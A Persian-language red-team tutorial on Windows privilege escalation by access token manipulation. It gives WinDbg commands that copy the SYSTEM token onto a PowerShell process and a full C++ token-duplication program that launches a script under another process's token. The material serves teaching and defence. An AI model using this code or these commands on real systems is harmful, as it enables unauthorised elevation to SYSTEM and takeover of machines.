Privilege Escalation با استفاده از Access Token Manipulation
نویسنده: یاسین عابدینی · دسته: RedTeam · تاریخ انتشار: ۱۴۰۵/۴/۱۹
Privilege Escalation در ویندوز با استفاده از Access Token Manipulation
مقدمه
یکی از تکنیکهای کلاسیک و در عین حال بسیار مؤثر در حوزه Post-Exploitation روی سیستمعامل ویندوز، دستکاری Access Token پردازشها است.
این تکنیک به مهاجم (یا در نقش تیم قرمز، به تستکننده نفوذ) اجازه میدهد بدون نیاز به بهرهبرداری از یک آسیبپذیری در کرنل، سطح دسترسی خود را از یک کاربر عادی به سطح SYSTEM یا هر کاربر دیگری با دسترسی بالاتر ارتقا دهد.
بخش اول: پیشنیاز معماری ویندوز
برای درک Privilege Escalation، نیازی به دانستن کل معماری ویندوز نیست؛ فقط باید بدانیم عملیات ما در کجای این معماری اتفاق میافتد.
OS
└── Library
└── DLL
├── User32.dll
├── shell32.dll
├── kernel32.dll
└── ntdll.dll
هر DLL مجموعهای از Windows API Calls (WAC) را در اختیار برنامهنویس قرار میدهد.
Process، فقط یک ساختار داده است
نکته کلیدی این است که یک Process در سطح کرنل چیزی جز یک ساختار داده نیست.
در User Mode به آن Process گفته میشود.
در Kernel Mode معادل آن ساختار
_EPROCESSاست.توکن Process با ساختار
_TOKENنمایش داده میشود.
بررسی ساختارها با WinDbg
File ▸ Attach to Kernel ▸ OK
dt _eprocess
dt _token
dt _SEP_TOKEN_PRIVILEGES
بخش دوم: مفاهیم پایه Token
مفهوم توضیح Process Token نمایانگر Security Context یک پردازش است. System Process پردازش با PID برابر ۴ و بالاترین سطح دسترسی. EPROCESS Structure ساختار داخلی نگهدارنده متادیتای پردازش. Base Address آدرس شروع ساختار EPROCESS. Token Offset فاصله فیلد توکن نسبت به ابتدای EPROCESS.
بخش سوم: Token Access Manipulation
گام ۱: مشاهده وضعیت اولیه
یک نشست PowerShell باز کرده و کاربر جاری بررسی میشود.
گام ۲: بررسی پردازش System
!process 4 1از خروجی این دستور، Base Address و فیلد Token استخراج میشود.
گام ۳: بررسی PowerShell هدف
!process BFC 1گام ۴: جایگزینی توکن
eq [PowerShell Token Address] [System Token Address]
این عملیات باعث میشود پردازش PowerShell با سطح دسترسی System اجرا شود.
بخش چهارم: Token Privilege Manipulation
در این روش، بهجای سرقت کل توکن، Privilegeهای داخل توکن پردازش جاری تغییر داده میشوند.
بخش پنجم: نمونه کد
#include <windows.h>
#include <iostream>
int main(int argc, char* argv[]) {
char a;
HANDLE processHandle;
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
DWORD PID_TO_IMPERSONATE = 3456;
wchar_t cmdline[] = L"E:\\nooranet.cmd";
ZeroMemory(&startupInfo,sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
processHandle = OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID_TO_IMPERSONATE);
OpenProcessToken(processHandle, TOKEN_ALL_ACCESS, &tokenHandle);
DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE,NULL, cmdline, 0, NULL, NULL, &startupInfo, &processInformation);
std::cin >> a;
return 0;
}
تحلیل مرحله به مرحله
تابع نقش OpenProcess دریافت Handle پردازش هدف OpenProcessToken دریافت توکن پردازش هدف DuplicateTokenEx ایجاد کپی از توکن CreateProcessWithTokenW اجرای پردازش جدید با توکن جدید
جمعبندی
دستکاری Access Token یکی از مهمترین تکنیکهای Privilege Escalation در ویندوز است و درک عمیق آن برای تیمهای قرمز و آبی اهمیت زیادی دارد.